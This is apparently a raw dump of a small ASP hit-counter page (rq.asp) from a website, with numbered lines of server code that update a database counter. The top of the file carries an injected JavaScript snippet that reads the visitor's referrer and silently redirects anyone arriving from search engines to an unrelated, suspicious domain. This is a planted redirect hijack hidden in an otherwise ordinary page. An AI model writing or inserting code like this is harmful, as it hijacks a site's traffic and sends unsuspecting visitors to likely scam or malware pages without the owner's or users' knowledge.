d:\wwwroot\wuchunhua\rq.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!--#include file="conn.asp"-->
002:
<%
id=int(trim(request.querystring("id")))
003:
Set rs = Server.CreateObject("ADODB.Recordset")
004:
if request("type")="show" then
005:
sql="select hits from china_data where adid="&id&""
006:
else
007:
sql="select hits from news_data where adid="&id&""
008:
end if
009:
rs.open sql,conn,1,3
010:
hits=rs("hits")+1
011:
rs("hits")=hits
012:
rs.update
013:
rs.close:set rs=nothing
014:
conn.close:set conn=nothing
015:
response.write hits
%
>
016:
017: